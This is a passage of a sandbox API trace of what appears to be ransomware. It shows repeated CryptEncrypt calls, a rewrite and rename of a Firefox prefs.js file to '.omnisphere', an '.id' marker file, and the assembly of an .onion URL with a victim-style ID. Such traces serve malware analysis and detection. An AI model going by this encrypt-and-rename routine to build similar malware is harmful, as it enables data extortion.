pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.234] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.235] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.244] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.246] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.247] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.248] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.249] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.249] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0161.250] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1fcd, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.250] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.252] GetProcessHeap () returned 0x1600000 [0161.252] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c4) returned 0x17278f0 [0161.252] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\prefs.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\prefs.js.omnisphere")) returned 1 [0161.255] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js.omnisphere.id" [0161.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\prefs.js.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.257] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.258] CloseHandle (hObject=0x388) returned 1 [0161.258] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.259] CloseHandle (hObject=0x3c0) returned 1 [0161.259] SetEndOfFile (hFile=0x288) returned 1 [0161.259] FlushFileBuffers (hFile=0x288) returned 1 [0161.267] CloseHandle (hObject=0x288) returned 1 [0161.267] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.267] GetProcessHeap () returned 0x1600000 [0161.267] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1747b48 [0161.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.267] GetProcessHeap () returned 0x1600000 [0161.267] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733ec8 [0161.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733ec8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.268] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.268] GetProcessHeap () returned 0x1600000 [0161.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726738 [0161.268] 